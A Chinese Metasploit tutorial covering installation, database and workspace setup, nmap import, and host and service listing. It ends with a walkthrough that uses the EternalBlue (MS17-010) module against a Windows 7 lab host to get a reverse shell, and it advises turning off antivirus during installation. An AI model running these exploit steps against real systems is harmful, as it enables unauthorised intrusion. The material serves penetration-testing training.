Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

admin 2024年3月25日08:13:12评论12 views字数 7893阅读26分18秒阅读模式

简介

Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。

Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。Metasploit 适用于所有流行的操作系统,本文中,主要以Kali Linux为主。因为Kali Linux预装了 Metasploit 框架和运行在框架上的其他第三方工具。

在Windows上安装Metasploit非常简单,直接从官方下载(http://www.metasploit.com/download).安装文件进行安装即可。

准备工作

Metasploit的四个版本:

Pro:适用于渗透测试人员和IT安全团队

Express:适用于一般IT人员

Community:适用于小公司和学生

Framework:适用于开发人员和安全研究人员

请从官网下载最新版的 Metasploit Framework

(https://windows.metasploit.com/metasploitframework-latest.msi)

它包含控制台程序和其他依赖程序。

如何安装

下载完之后,运行即可,它将自动安装相关所有组件。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Tip:在Windows上安装Metasploit时候,应该禁用防护软件,因为可能会检测到一些安装文件为恶意程序,从而阻止安装过程。安装完后将 Metasploit加入到防护软件的白名单。

配置PostgreSQL数据库

Metasploit的一个重要特性是支持PostgreSQL数据库,使用它来存储渗透测试结果和漏洞信息。

准备工作

启动服务,然后使用 Metasploit msfdb 初始化数据库

怎么做

1、启动数据库

root@osboxes:~# systemctl start postgresql122、初始化数据库~# msfdb initCreating database user 'msf'Enter password for new role:Enter it again:Creating databases 'msf' and 'msf_test'Creating configuration file in /usr/share/metasploit-framework/config/database.ymlCreating initial database schema

3、修改数据库配置文件

我们可以直接编辑 database.yml文件,文件位于/usr/share/metasploit-framework/config/database.yml

root@osboxes:~# cat /usr/share/metasploit-framework/config/database.yml  development:                                                               adapter: postgresql                                                      database: msf                                                            username: msf                                                            password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=                   host: localhost                                                          port: 5432                                                               pool: 5                                                                  timeout: 5                                                             production:                                                                adapter: postgresql                                                      database: msf                                                            username: msf                                                            password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=                   host: localhost                                                          port: 5432                                                               pool: 5                                                                  timeout: 5                                                             test:                                                                      adapter: postgresql                                                      database: msf_test                                                       username: msf                                                            password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=                   host: localhost                                                          port: 5432                                                               pool: 5                                                                  timeout: 5
里面的usrname和password是默认配置的,你可以根据自己的喜好进行更改

4、确定是否连接到数据库

启动msfconsole,然后执行db_status,检查数据库连接情况。

msf > db_status[*] postgresql connected to msfmsf >

更多

如果要手动连接到数据库,可以使用如下命令:

db_connect <user:pass>@<host:port>/<database>

我们可以使用databse.yml文件测试db_connect命令

msf > db_disconnect //断开连接msf > db_status //查看连接状态[*] postgresql selected, no connectionmsf > db_connect[*]    Usage: db_connect <user:pass>@<host:port>/<database>[*]       OR: db_connect -y [path/to/database.yml][*] Examples:[*]        db_connect user@metasploit3[*]        db_connect user:pass@192.168.0.2/metasploit3[*]        db_connect user:pass@192.168.0.2:1500/metasploit3msf > db_connect -y /usr/share/metasploit-framework/config/database.yml //连接数据库[*] Rebuilding the module cache in the background...msf > db_status //查看连接状态[*] postgresql connected to msfmsf >

九、创建工作区

Metasploit中有工作区的概念,可以用来隔离不同的渗透测试任务,从而避免混淆不同的测试。

怎么做

1、默认工作区

默认工作区是default,输入workspace查看

msf > workspace* defaultmsf >

输入workspace -h 查看命令帮助

msf > workspace -hUsage:    workspace                  List workspaces    workspace -v               List workspaces verbosely    workspace [name]           Switch workspace    workspace -a [name] ...    Add workspace(s)    workspace -d [name] ...    Delete workspace(s)    workspace -D               Delete all workspaces    workspace -r <old> <new>   Rename workspace    workspace -h               Show this help informationmsf >
2、新建工作区

使用workspace -a命令添加新的工作区

msf > workspace -a book[*] Added workspace: bookmsf > workspace  default* bookmsf >
3、删除工作区

使用workspace -d命令删除工作区

msf > workspace -d book[*] Deleted workspace: book[*] Switched workspace: default
4、更改工作区

使用workspace命令更改工作区

msf > workspace book[*] Workspace: book

5、重命名工作区

使用workspace -r命令更改工作区

msf > workspace -r book msf[*] Switched workspace: msfmsf >

十、使用数据库

配置完数据库,我们就可以使用它了,首先我们了解如何使用db_import导入外部工具数据。

准备工作

在msfconsole中运行db_import命令,查看支持的文件类型

msf > db_import                                                                            Usage: db_import <filename> [file2...]                                                      Filenames can be globs like *.xml, or **/*.xml which will search recursively                Currently supported file types include:                                                         Acunetix                                                                                    Amap Log                                                                                    Amap Log -m                                                                                Appscan                                                                                    Burp Session XML                                                                            Burp Issue XML                                                                              CI                                                                                          Foundstone                                                                                  FusionVM XML                                                                                ...                                                                  Wapiti XML                                                                              msf >     
怎么做

1、导入nmap扫描结果

先完成扫描,保存结果为 XML 文档

root@osboxes:~# nmap -Pn -A -oX report 192.168.177.139

2、然后执行 db_import PATH进行导入

msf > db_import /root/report[*] Importing 'Nmap XML' data[*] Import: Parsing with 'Nokogiri v1.8.5'[*] Importing host 192.168.177.139[*] Successfully imported /root/reportmsf >

3、当然也可以直接在msfconsole中运行dbnmap进行扫描,这样结果就直接保存到当前数据库中了,dbnmap 命令的参数与nmap 命令相同。

十一、使用 hosts 命令

既然数据库中有了数据,就可以使用hosts命令来显示当前工作区中存储的所有主机了。

msf > hostsHosts=====address          mac                name  os_name  os_flavor  os_sp  purpose  info  comments-------          ---                ----  -------  ---------  -----  -------  ----  --------192.168.177.139  00:0c:29:c6:a9:e5        Unknown                    devicemsf >

怎么做

1、查看命令帮助hosts -h

msf > hosts -hUsage: hosts [ options ] [addr1 addr2 ...]OPTIONS:  -a,--add          Add the hosts instead of searching  -d,--delete       Delete the hosts instead of searching  -c <col1,col2>    Only show the given columns (see list below)  -C <col1,col2>    Only show the given columns until the next restart (see list below)  -h,--help         Show this help information  -u,--up           Only show hosts which are up  -o <file>         Send output to a file in csv format  -O <column>       Order rows by specified column number  -R,--rhosts       Set RHOSTS from the results of the search  -S,--search       Search string to filter by  -i,--info         Change the info of a host  -n,--name         Change the name of a host  -m,--comment      Change the comment of a host  -t,--tag          Add or specify a tag to a range of hostsAvailable columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tagsmsf >
十二、理解 services 命令

services命令作用是显示目标主机上可用的服务

查看命令帮助:

msf > services -hUsage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]  -a,--add          Add the services instead of searching  -d,--delete       Delete the services instead of searching  -c <col1,col2>    Only show the given columns  -h,--help         Show this help information  -s <name1,name2>  Search for a list of service names  -p <port1,port2>  Search for a list of ports  -r <protocol>     Only show [tcp|udp] services  -u,--up           Only show services which are up  -o <file>         Send output to a file in csv format  -O <column>       Order rows by specified column number  -R,--rhosts       Set RHOSTS from the results of the search  -S,--search       Search string to filter byAvailable columns: created_at, info, name, port, proto, state, updated_at
怎么做

1、显示所有可用服务

msf > servicesServices========host             port  proto  name         state  info----             ----  -----  ----         -----  ----192.168.177.142  22    tcp    ssh          open   OpenSSH 5.3p1 Debian 3ubuntu4 Ubuntu Linux; protocol 2.0192.168.177.142  80    tcp    http         open   Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1192.168.177.142  139   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X workgroup: WORKGROUP192.168.177.142  143   tcp    imap         open   Courier Imapd released 2008192.168.177.142  443   tcp    ssl/https    open192.168.177.142  445   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X workgroup: WORKGROUP192.168.177.142  5001  tcp    java-rmi     open   Java RMI192.168.177.142  8080  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1192.168.177.142  8081  tcp    http         open   Jetty 6.1.25msf >

2、过滤服务

msf > services -s httpServices========host             port  proto  name  state  info----             ----  -----  ----  -----  ----192.168.177.142  80    tcp    http  open   Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1192.168.177.142  8080  tcp    http  open   Apache Tomcat/Coyote JSP engine 1.1192.168.177.142  8081  tcp    http  open   Jetty 6.1.25
实战-使用msf渗透攻击Win7主机

第一步-确定目标及漏洞

目标:192.168.1.131
漏洞:MS17-010
目的:拿到最高权限,进行远程代码执行
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。

5.2 第二步-查找验证模块并且调用

使用#msfconsole命令调用Metasploit框架,如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

使用#search MS17-010命令,搜索查找MS17-010漏洞模块,如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
这里我们先选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击。

#use auxiliary/scanner/smb/smb_ms17_010  //调用此模块

如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)。
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
使用#set RHOSTS 192.168.1.131 命令,设置目标地址。
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
最后使用#run命令去运行查看漏洞是否存在
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。
检测到该目标操作系统是Windows 7 专业版
接下来我们可以利用exploits模块进行渗透攻击。

5.3 第三步-利用exploist模块进行渗透

第二步骤的时候检测到目标存在该漏洞,现在我们开始进行渗透。
先使用#back命令退出辅助模块,如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
使用#search MS17-010命令,搜索MS17-010模块,如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
我们在第二步的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。这里我们选择#2

#use exploit/windows/smb/ms17_010_eternalblue

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
使用#show options命令,查看需要设置的参数,如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
这里我们看见多出一个payload选项,这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接,所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IP

#set RHOSTS 192.168.1.131   //设置exploit,目标IP#set LHOST 192.168.1.138  //设置payload
  • 2

如图:
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
最后使用#run命令去运行exploit
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
显示

192.168.1.138:4444 -> 192.168.1.131:49160 

我们已经所渗透成功了,现在我们已经拿到目标机的Shell了。
我们可以使用#shell命令,在目标机打开一个shell。
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。
如果显示乱码,用#chcp 65001命令,改成UTF-8代码页。
Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

更多资源:

Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

原文始发于微信公众号(TKing的安全圈):Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日08:13:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。http://cn-sec.com/archives/2599876.html

发表评论

匿名网友 填写信息